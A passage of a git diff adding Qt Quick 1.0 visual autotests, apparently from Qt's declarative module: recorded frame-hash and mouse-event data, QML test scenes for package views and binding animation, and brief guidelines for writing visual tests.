+ }
+ Frame {
+ msec: 5216
+ hash: "65c1d1c4fc845229853836afd2e7a3c4"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 68; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5232
+ hash: "a238ffd4f6de5ca91bcf0e629407ad11"
+ }
+ Frame {
+ msec: 5248
+ hash: "42322853eef74b9b849d81d7aa2ea4af"
+ }
+ Frame {
+ msec: 5264
+ hash: "25fb0c4c04d9dcda865a8b254970330c"
+ }
+ Frame {
+ msec: 5280
+ hash: "565891a25190705df8b424e1e5e73ddd"
+ }
+ Frame {
+ msec: 5296
+ hash: "565891a25190705df8b424e1e5e73ddd"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 68; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5312
+ hash: "565891a25190705df8b424e1e5e73ddd"
+ }
+ Frame {
+ msec: 5328
+ hash: "39e05f846071d4ec9a1413922a928995"
+ }
+ Frame {
+ msec: 5344
+ hash: "7040400386930b34d989df4cdf36d125"
+ }
+ Frame {
+ msec: 5360
+ hash: "2d3c081a1bbb94952becfd486d455de5"
+ }
+ Frame {
+ msec: 5376
+ hash: "7a0719f22b0b74e4139ada77ca8d38d6"
+ }
+ Frame {
+ msec: 5392
+ hash: "40d070285de7865fa8f415ff06be69d3"
+ }
+ Frame {
+ msec: 5408
+ hash: "875ba6c617a4b5d157c747ead185247c"
+ }
+ Frame {
+ msec: 5424
+ hash: "2d0ef679259f503d42cc2267b8d95a4e"
+ }
+ Frame {
+ msec: 5440
+ hash: "b2aeceddd4d36e600f617578d64a4c32"
+ }
+ Frame {
+ msec: 5456
+ hash: "a065ec04aff7a7c164ed8c152130589f"
+ }
+ Frame {
+ msec: 5472
+ hash: "a09d94403ce40a8afb12e390aea3d848"
+ }
+ Frame {
+ msec: 5488
+ hash: "34b116228527a669dadbfc75f309d045"
+ }
+ Frame {
+ msec: 5504
+ hash: "5bee91cba46537ddaefe87f4e118d3d5"
+ }
+ Frame {
+ msec: 5520
+ hash: "d0d8bd32268f3e3a62a08514f0d53799"
+ }
+ Frame {
+ msec: 5536
+ hash: "b90c3915255d3f98700f8af0181fa6ee"
+ }
+ Frame {
+ msec: 5552
+ hash: "8d52a504170547407fad6d8785b7199b"
+ }
+ Frame {
+ msec: 5568
+ hash: "8d52a504170547407fad6d8785b7199b"
+ }
+ Frame {
+ msec: 5584
+ hash: "8d52a504170547407fad6d8785b7199b"
+ }
+ Frame {
+ msec: 5600
+ hash: "8d52a504170547407fad6d8785b7199b"
+ }
+ Frame {
+ msec: 5616
+ hash: "8d52a504170547407fad6d8785b7199b"
+ }
+ Frame {
+ msec: 5632
+ hash: "8d52a504170547407fad6d8785b7199b"
+ }
+ Frame {
+ msec: 5648
+ hash: "8d52a504170547407fad6d8785b7199b"
+ }
+ Frame {
+ msec: 5664
+ hash: "8d52a504170547407fad6d8785b7199b"
+ }
+ Frame {
+ msec: 5680
+ hash: "8d52a504170547407fad6d8785b7199b"
+ }
+ Frame {
+ msec: 5696
+ hash: "8d52a504170547407fad6d8785b7199b"
+ }
+ Frame {
+ msec: 5712
+ hash: "8d52a504170547407fad6d8785b7199b"
+ }
+ Frame {
+ msec: 5728
+ hash: "8d52a504170547407fad6d8785b7199b"
+ }
+ Frame {
+ msec: 5744
+ hash: "8d52a504170547407fad6d8785b7199b"
+ }
+ Frame {
+ msec: 5760
+ hash: "8d52a504170547407fad6d8785b7199b"
+ }
+ Frame {
+ msec: 5776
+ image: "packageviews.6.png"
+ }
+ Frame {
+ msec: 5792
+ hash: "8d52a504170547407fad6d8785b7199b"
+ }
+ Frame {
+ msec: 5808
+ hash: "8d52a504170547407fad6d8785b7199b"
+ }
+ Frame {
+ msec: 5824
+ hash: "8d52a504170547407fad6d8785b7199b"
+ }
+ Frame {
+ msec: 5840
+ hash: "8d52a504170547407fad6d8785b7199b"
+ }
+ Frame {
+ msec: 5856
+ hash: "8d52a504170547407fad6d8785b7199b"
+ }
+ Frame {
+ msec: 5872
+ hash: "8d52a504170547407fad6d8785b7199b"
+ }
+ Frame {
+ msec: 5888
+ hash: "8d52a504170547407fad6d8785b7199b"
+ }
+ Frame {
+ msec: 5904
+ hash: "8d52a504170547407fad6d8785b7199b"
+ }
+ Frame {
+ msec: 5920
+ hash: "8d52a504170547407fad6d8785b7199b"
+ }
+ Frame {
+ msec: 5936
+ hash: "8d52a504170547407fad6d8785b7199b"
+ }
+ Frame {
+ msec: 5952
+ hash: "8d52a504170547407fad6d8785b7199b"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/Package_Views/packageviews.qml b/tests/auto/declarative/qmlvisual/Package_Views/packageviews.qml
new file mode 100644
index 00000000..a9de3f87
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/Package_Views/packageviews.qml
@@ -0,0 +1,82 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: root
+ width: 200
+ height: 200
+ color: "black"
+
+ VisualDataModel {
+ id: model
+ model: ListModel {
+ ListElement { itemColor: "red" }
+ ListElement { itemColor: "green" }
+ ListElement { itemColor: "blue" }
+ ListElement { itemColor: "orange" }
+ ListElement { itemColor: "purple" }
+ ListElement { itemColor: "yellow" }
+ ListElement { itemColor: "slategrey" }
+ ListElement { itemColor: "cyan" }
+ }
+ delegate: Package {
+ Rectangle {
+ id: listItem; Package.name: "list"; width:root.width/2; height: 25; color: "transparent"; border.color: "white"
+ MouseArea {
+ anchors.fill: parent
+ onClicked: myState.state = myState.state == "list" ? "grid" : "list"
+ }
+ }
+ Rectangle {
+ id: gridItem; Package.name: "grid"; width:50; height: 50; color: "transparent"; border.color: "white"
+ MouseArea {
+ anchors.fill: parent
+ onClicked: myState.state = myState.state == "list" ? "grid" : "list"
+ }
+ }
+ Rectangle { id: myContent; width:50; height: 50; color: itemColor }
+
+ StateGroup {
+ id: myState
+ state: "list"
+ states: [
+ State {
+ name: "list"
+ ParentChange { target: myContent; parent: listItem }
+ PropertyChanges { target: myContent; x: 0; y: 0; width: listItem.width; height: listItem.height }
+ },
+ State {
+ name: "grid"
+ ParentChange { target: myContent; parent: gridItem }
+ PropertyChanges { target: myContent; x: 0; y: 0; width: gridItem.width; height: gridItem.height }
+ }
+ ]
+
+ transitions: [
+ Transition {
+ from: "*"; to: "*"
+ SequentialAnimation {
+ ParentAnimation{
+ NumberAnimation { properties: "x,y,width,height"; easing.type: "InOutQuad" }
+ }
+ }
+ }
+ ]
+ }
+ }
+ }
+
+ ListView {
+ width: parent.width/2
+ height: parent.height
+ model: model.parts.list
+ }
+
+ GridView {
+ x: parent.width/2
+ width: parent.width/2
+ cellWidth: 50
+ cellHeight: 50
+ height: parent.height
+ model: model.parts.grid
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/TEST_GUIDELINES b/tests/auto/declarative/qmlvisual/TEST_GUIDELINES
new file mode 100644
index 00000000..469832f5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/TEST_GUIDELINES
@@ -0,0 +1,7 @@
+Guidelines for creating new visual tests:
+
+1. Keep it small. All visual tests should be able to run on a device with a screen of at least 640x360 pixels. Smaller than that is even better, because images of this side need to be processed and saved for every test (and even committed to the repository).
+
+2. Keep it short. It is hoped that these tests can be run regularly, perhaps even for every commit, and if you add up ten seconds for every time someone commits a change to QML then we'll be sitting here for a long time. Completeness is more important than haste, but consider the most time efficient ways to achieve said completeness. Do not forget about snapshot mode (tst_qmlvisual -help for details on -recordsnapshot) when testing that a static scene looks right.
+
+3. Avoid text. Text is relatively unstable due to platform specific peculiarities. If you need to identify an area, consider a unique color as opposed to a unique text label. If you must use Text, TextEdit, or TextInput, use the test-friendlier versions in the 'shared' directory. Also keep in mind that text anti-aliasing is disabled during tests for greater consistency, and you should never use point sizes in tests. Text autotests can thus only test some aspects of the elements.
diff --git a/tests/auto/declarative/qmlvisual/animation/bindinganimation/bindinganimation.qml b/tests/auto/declarative/qmlvisual/animation/bindinganimation/bindinganimation.qml
new file mode 100644
index 00000000..90198126
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/bindinganimation/bindinganimation.qml
@@ -0,0 +1,36 @@
+import QtQuick 1.0
+
+Rectangle {
+ color: "blue"
+ width: 320
+ height: 240
+ id: page
+ Rectangle {
+ id: myRectangle
+ width: 100
+ height: 100
+ color: "red"
+ x: 10
+ }
+ states: [
+ State {
+ when: myMouseArea.pressed
+ name: "hello"
+ PropertyChanges {
+ target: myRectangle
+ x: 50 + 50
+ }
+ }
+ ]
+ transitions: [
+ Transition {
+ NumberAnimation {
+ properties: "x"
+ }
+ }
+ ]
+ MouseArea {
+ id: myMouseArea
+ anchors.fill: parent
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.0.png b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.0.png
new file mode 100644
index 00000000..24c11bee
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.1.png b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.1.png
new file mode 100644
index 00000000..82492d49
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.2.png b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.2.png
new file mode 100644
index 00000000..a31f02a3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.3.png b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.3.png
new file mode 100644
index 00000000..a029af69
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.4.png b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.4.png
new file mode 100644
index 00000000..c8367ec3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.5.png b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.5.png
new file mode 100644
index 00000000..900156f6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.qml b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.qml
new file mode 100644
index 00000000..be0637e4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.qml
@@ -0,0 +1,1055 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "bindinganimation.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 48
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 64
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 80
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 96
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 112
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 128
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 144
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 160
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 176
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 192
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 208
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 224
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 240
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 256
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 272
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 288
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 304
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 320
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 336
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 352
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 368
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 384
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 400
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 416
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 432
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 448
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 464
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 480
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 496
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 512
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 87; y: 129
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 528
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 544
+ hash: "a78c9394bf3b81f192f42710cd7218b1"
+ }
+ Frame {
+ msec: 560
+ hash: "7f08e8170feb1d02373c9ab42b6e882d"
+ }
+ Frame {
+ msec: 576
+ hash: "967fbad8ac664400a3efbe66617d62aa"
+ }
+ Frame {
+ msec: 592
+ hash: "abc2ec0bc7a93e75b5823310e6284db1"
+ }
+ Frame {
+ msec: 608
+ hash: "afbd5b24e2f86646f5ec2aa22f3a4b5b"
+ }
+ Frame {
+ msec: 624
+ hash: "9413dffb7ee853ba0125ac22ab22abbd"
+ }
+ Frame {
+ msec: 640
+ hash: "fcae0317f81a3ddd713f4db1349a9da0"
+ }
+ Frame {
+ msec: 656
+ hash: "37739777a5979f3ebf85e47e63341660"
+ }
+ Frame {
+ msec: 672
+ hash: "72731478d80f024076ea639b55152360"
+ }
+ Frame {
+ msec: 688
+ hash: "69058485ced6bc992a1a7c5ee34add4c"
+ }
+ Frame {
+ msec: 704
+ hash: "391ad7ff2362e059f6170dfe306f94a7"
+ }
+ Frame {
+ msec: 720
+ hash: "f9f74a2e38b52c9266f33e428b6acd9d"
+ }
+ Frame {
+ msec: 736
+ hash: "25152412c4ea2aec6caf89486c073484"
+ }
+ Frame {
+ msec: 752
+ hash: "ba403842ba3128b1cdf6a9cb28c90751"
+ }
+ Frame {
+ msec: 768
+ hash: "e90cd68490cf3ce6ef9fe4e8f92feaa9"
+ }
+ Frame {
+ msec: 784
+ hash: "383ba6b9efcc58fca512982a207631f6"
+ }
+ Frame {
+ msec: 800
+ hash: "383ba6b9efcc58fca512982a207631f6"
+ }
+ Frame {
+ msec: 816
+ hash: "383ba6b9efcc58fca512982a207631f6"
+ }
+ Frame {
+ msec: 832
+ hash: "383ba6b9efcc58fca512982a207631f6"
+ }
+ Frame {
+ msec: 848
+ hash: "383ba6b9efcc58fca512982a207631f6"
+ }
+ Frame {
+ msec: 864
+ hash: "383ba6b9efcc58fca512982a207631f6"
+ }
+ Frame {
+ msec: 880
+ hash: "383ba6b9efcc58fca512982a207631f6"
+ }
+ Frame {
+ msec: 896
+ hash: "383ba6b9efcc58fca512982a207631f6"
+ }
+ Frame {
+ msec: 912
+ hash: "383ba6b9efcc58fca512982a207631f6"
+ }
+ Frame {
+ msec: 928
+ hash: "383ba6b9efcc58fca512982a207631f6"
+ }
+ Frame {
+ msec: 944
+ hash: "383ba6b9efcc58fca512982a207631f6"
+ }
+ Frame {
+ msec: 960
+ hash: "383ba6b9efcc58fca512982a207631f6"
+ }
+ Frame {
+ msec: 976
+ image: "bindinganimation.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "383ba6b9efcc58fca512982a207631f6"
+ }
+ Frame {
+ msec: 1008
+ hash: "383ba6b9efcc58fca512982a207631f6"
+ }
+ Frame {
+ msec: 1024
+ hash: "383ba6b9efcc58fca512982a207631f6"
+ }
+ Frame {
+ msec: 1040
+ hash: "383ba6b9efcc58fca512982a207631f6"
+ }
+ Frame {
+ msec: 1056
+ hash: "383ba6b9efcc58fca512982a207631f6"
+ }
+ Frame {
+ msec: 1072
+ hash: "383ba6b9efcc58fca512982a207631f6"
+ }
+ Frame {
+ msec: 1088
+ hash: "383ba6b9efcc58fca512982a207631f6"
+ }
+ Frame {
+ msec: 1104
+ hash: "383ba6b9efcc58fca512982a207631f6"
+ }
+ Frame {
+ msec: 1120
+ hash: "383ba6b9efcc58fca512982a207631f6"
+ }
+ Frame {
+ msec: 1136
+ hash: "383ba6b9efcc58fca512982a207631f6"
+ }
+ Frame {
+ msec: 1152
+ hash: "383ba6b9efcc58fca512982a207631f6"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 87; y: 129
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1168
+ hash: "383ba6b9efcc58fca512982a207631f6"
+ }
+ Frame {
+ msec: 1184
+ hash: "adc501a3a2b8aaf72f58ba985b57424e"
+ }
+ Frame {
+ msec: 1200
+ hash: "bfa51b7c19753ef7b16d78afffc7b9dd"
+ }
+ Frame {
+ msec: 1216
+ hash: "ffa8471f57765b49fcdb9155393251e5"
+ }
+ Frame {
+ msec: 1232
+ hash: "ddb65481469c38f2331546ee03a44206"
+ }
+ Frame {
+ msec: 1248
+ hash: "6f48d1a9977b77cafd38a5903017605b"
+ }
+ Frame {
+ msec: 1264
+ hash: "4279c814163af3bd069ce21b3cd1c729"
+ }
+ Frame {
+ msec: 1280
+ hash: "17c46242c17983478f34cb49cb91ca6e"
+ }
+ Frame {
+ msec: 1296
+ hash: "42f65c58b1f5f4b5ba70855f4aaa7d2f"
+ }
+ Frame {
+ msec: 1312
+ hash: "6a74d6dc91a8b370200d3765c55c1136"
+ }
+ Frame {
+ msec: 1328
+ hash: "ecda10356cca33901c2acd0a702fee46"
+ }
+ Frame {
+ msec: 1344
+ hash: "4f58226bdbda7339d972eca065f75766"
+ }
+ Frame {
+ msec: 1360
+ hash: "a39c80859a7643c9879da9c77b644703"
+ }
+ Frame {
+ msec: 1376
+ hash: "16fe17b15900ff0464ab20ea921e5b1f"
+ }
+ Frame {
+ msec: 1392
+ hash: "bc5c83b2014b7260900587ae3637598f"
+ }
+ Frame {
+ msec: 1408
+ hash: "96c077e3a572edff04fa9b2f7020ffd0"
+ }
+ Frame {
+ msec: 1424
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1440
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1456
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1472
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1488
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1504
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1520
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1536
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1552
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1568
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1584
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1600
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1616
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1632
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1648
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1664
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1680
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1696
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1712
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1728
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1744
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1760
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1776
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1792
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1808
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1824
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1840
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 81; y: 130
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1856
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 1872
+ hash: "a78c9394bf3b81f192f42710cd7218b1"
+ }
+ Frame {
+ msec: 1888
+ hash: "7f08e8170feb1d02373c9ab42b6e882d"
+ }
+ Frame {
+ msec: 1904
+ hash: "967fbad8ac664400a3efbe66617d62aa"
+ }
+ Frame {
+ msec: 1920
+ hash: "abc2ec0bc7a93e75b5823310e6284db1"
+ }
+ Frame {
+ msec: 1936
+ image: "bindinganimation.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "9413dffb7ee853ba0125ac22ab22abbd"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 81; y: 130
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1968
+ hash: "9413dffb7ee853ba0125ac22ab22abbd"
+ }
+ Frame {
+ msec: 1984
+ hash: "ecda10356cca33901c2acd0a702fee46"
+ }
+ Frame {
+ msec: 2000
+ hash: "5fae0bdc65c609cb766ce585b8c649db"
+ }
+ Frame {
+ msec: 2016
+ hash: "575d30ac088448b01f49082519bbb3a1"
+ }
+ Frame {
+ msec: 2032
+ hash: "ffeb3db6d3f177acf6f92049359a9025"
+ }
+ Frame {
+ msec: 2048
+ hash: "abc2ec0bc7a93e75b5823310e6284db1"
+ }
+ Frame {
+ msec: 2064
+ hash: "fcb17070ef24575c61046928a8bbe440"
+ }
+ Frame {
+ msec: 2080
+ hash: "4ab21e266919fb8d340f87091d8e1f62"
+ }
+ Frame {
+ msec: 2096
+ hash: "f141c7c4402c6bacff31d4e77785f5f1"
+ }
+ Frame {
+ msec: 2112
+ hash: "29e5f1388c6aaf23abe9f514d7e902d1"
+ }
+ Mouse {
+ type: 4
+ button: 1
+ buttons: 1
+ x: 81; y: 130
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2128
+ hash: "29e5f1388c6aaf23abe9f514d7e902d1"
+ }
+ Frame {
+ msec: 2144
+ hash: "4ab21e266919fb8d340f87091d8e1f62"
+ }
+ Frame {
+ msec: 2160
+ hash: "2d21b4af3780ef2bbccfcec957ce49c8"
+ }
+ Frame {
+ msec: 2176
+ hash: "527b1f9e7a222483134675a73f9cf5b7"
+ }
+ Frame {
+ msec: 2192
+ hash: "5edaad77f334e6a01982ee89a733b1f8"
+ }
+ Frame {
+ msec: 2208
+ hash: "6a74d6dc91a8b370200d3765c55c1136"
+ }
+ Frame {
+ msec: 2224
+ hash: "42f65c58b1f5f4b5ba70855f4aaa7d2f"
+ }
+ Frame {
+ msec: 2240
+ hash: "3223ed179c828fadb3eca9c6373176c1"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 81; y: 130
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2256
+ hash: "3223ed179c828fadb3eca9c6373176c1"
+ }
+ Frame {
+ msec: 2272
+ hash: "516c44b44c23f213f5db01f9eb164b0b"
+ }
+ Frame {
+ msec: 2288
+ hash: "4f41101378a104e72228eeb4ba395ca8"
+ }
+ Frame {
+ msec: 2304
+ hash: "f9deee3a204c939562b896a6179743d2"
+ }
+ Frame {
+ msec: 2320
+ hash: "772396bb23c713f34ea5c23bfbcb115e"
+ }
+ Frame {
+ msec: 2336
+ hash: "ecda10356cca33901c2acd0a702fee46"
+ }
+ Frame {
+ msec: 2352
+ hash: "527b1f9e7a222483134675a73f9cf5b7"
+ }
+ Frame {
+ msec: 2368
+ hash: "4f58226bdbda7339d972eca065f75766"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 81; y: 130
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2384
+ hash: "4f58226bdbda7339d972eca065f75766"
+ }
+ Frame {
+ msec: 2400
+ hash: "5fae0bdc65c609cb766ce585b8c649db"
+ }
+ Frame {
+ msec: 2416
+ hash: "9413dffb7ee853ba0125ac22ab22abbd"
+ }
+ Frame {
+ msec: 2432
+ hash: "6a74d6dc91a8b370200d3765c55c1136"
+ }
+ Frame {
+ msec: 2448
+ hash: "4f41101378a104e72228eeb4ba395ca8"
+ }
+ Frame {
+ msec: 2464
+ hash: "37739777a5979f3ebf85e47e63341660"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 81; y: 130
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2480
+ hash: "37739777a5979f3ebf85e47e63341660"
+ }
+ Frame {
+ msec: 2496
+ hash: "42f65c58b1f5f4b5ba70855f4aaa7d2f"
+ }
+ Frame {
+ msec: 2512
+ hash: "fcae0317f81a3ddd713f4db1349a9da0"
+ }
+ Frame {
+ msec: 2528
+ hash: "082e0e7650d187a54ef0948ccca98e5a"
+ }
+ Frame {
+ msec: 2544
+ hash: "9413dffb7ee853ba0125ac22ab22abbd"
+ }
+ Frame {
+ msec: 2560
+ hash: "d9af30557f99b086bb1a185a946b580d"
+ }
+ Frame {
+ msec: 2576
+ hash: "afbd5b24e2f86646f5ec2aa22f3a4b5b"
+ }
+ Frame {
+ msec: 2592
+ hash: "ffeb3db6d3f177acf6f92049359a9025"
+ }
+ Mouse {
+ type: 4
+ button: 1
+ buttons: 1
+ x: 81; y: 130
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2608
+ hash: "ffeb3db6d3f177acf6f92049359a9025"
+ }
+ Frame {
+ msec: 2624
+ hash: "5fae0bdc65c609cb766ce585b8c649db"
+ }
+ Frame {
+ msec: 2640
+ hash: "9413dffb7ee853ba0125ac22ab22abbd"
+ }
+ Frame {
+ msec: 2656
+ hash: "6a74d6dc91a8b370200d3765c55c1136"
+ }
+ Frame {
+ msec: 2672
+ hash: "4f41101378a104e72228eeb4ba395ca8"
+ }
+ Frame {
+ msec: 2688
+ hash: "37739777a5979f3ebf85e47e63341660"
+ }
+ Frame {
+ msec: 2704
+ hash: "f4fe2cc93d65e086ba8ded1438269eb2"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 81; y: 130
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2720
+ hash: "f4fe2cc93d65e086ba8ded1438269eb2"
+ }
+ Frame {
+ msec: 2736
+ hash: "56c72b5da44bd5efdc47c3b9c3eac409"
+ }
+ Frame {
+ msec: 2752
+ hash: "b08811b237ce7a460c80d285f04d53d8"
+ }
+ Frame {
+ msec: 2768
+ hash: "fcae0317f81a3ddd713f4db1349a9da0"
+ }
+ Frame {
+ msec: 2784
+ hash: "082e0e7650d187a54ef0948ccca98e5a"
+ }
+ Frame {
+ msec: 2800
+ hash: "9413dffb7ee853ba0125ac22ab22abbd"
+ }
+ Frame {
+ msec: 2816
+ hash: "d9af30557f99b086bb1a185a946b580d"
+ }
+ Frame {
+ msec: 2832
+ hash: "575d30ac088448b01f49082519bbb3a1"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 81; y: 130
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2848
